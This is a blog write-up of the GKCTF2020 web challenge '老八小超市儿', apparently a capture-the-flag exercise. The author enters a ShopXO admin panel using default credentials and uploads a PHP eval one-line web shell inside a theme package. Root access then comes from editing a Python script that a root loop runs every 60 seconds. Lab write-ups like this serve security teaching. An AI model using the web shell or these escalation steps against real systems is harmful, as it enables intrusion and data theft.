前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Writeup-GKCTF-Web题:老八小超市儿

Writeup-GKCTF-Web题:老八小超市儿

作者头像
Y5neKO
发布2022-01-13 12:54:57
4070
发布2022-01-13 12:54:57
举报
文章被收录于专栏:Y5neKO博客

原题地址:https://buuoj.cn/challenges#[GKCTF2020]老八小超市儿

首先开启题目环境,进去是一个完整搭建的网站,在页面上查找有用信息,很快可以判断出是由ShopXO CMS搭建的

无奈本人才疏学浅(疏?浅?无!),只好请出度娘老师,通过度娘老师知道了默认后台地址以及账号密码:/admin.php | admin:shopxo 拿去碰碰运气,意外的成功进入后台

没想到这后台功能还挺多的,还是来找找我最擅长(简单)的主题插马吧,左侧找到安装主题功能,然后到shopxo官网下载一个官方的主题模板,摸了一下主题模板的结构后发现可以把马插在压缩包的/主题名/_static_

顺带说一下这种后台getshell最好用一句话

代码语言:javascript
复制
<?php @eval($_POST[ysneko]);?>

成功上传后的路径是 http://localhost/public/static/static/index/主题名/ysneko.php

没有报404,上传成功,接下来用蚁剑连接

成功连接,然后兴高采烈的去找flag,结果找到一个错误的flag,提示我们这是一个假flag,真flag在/root

但是我们并没有root权限

我们可以看到当前是www-data用户,这是一个标准的低权限用户,并没有root权限

无奈只能想办法提权,但是转眼一看内核版本,我绝望了

这个版本基本不可能提权,所以只能到处找找线索,经过好一通翻找,在根目录发现了一个权限为0755的sh脚本,从文件名来看应该是某种自动脚本

内容如下:

代码语言:javascript
复制
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

这段脚本的意思是每60秒执行一次中间的python脚本,我们再来看下中间调用的makeflaghint.py

代码语言:javascript
复制
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

这段脚本的作用大致是调用某些参数生成/flag.hint文件,所以最终auto.sh的效果是每隔60秒调用makeflaghint.py生成一个flag.hint

随着两次刷新,flag.hint更新了,表明auto.sh确实是在后台以root权限执行,那么我们只需要修改makeflaghint.py的内容来获取/root中的flag即可

代码语言:javascript
复制
flag=io.open("/root/flag","r").read()
f.write(str(flag))

最终flag为:

代码语言:javascript
复制
flag{6ec752c9-361e-41a8-905a-f7854c7d0654}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020年05月28日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档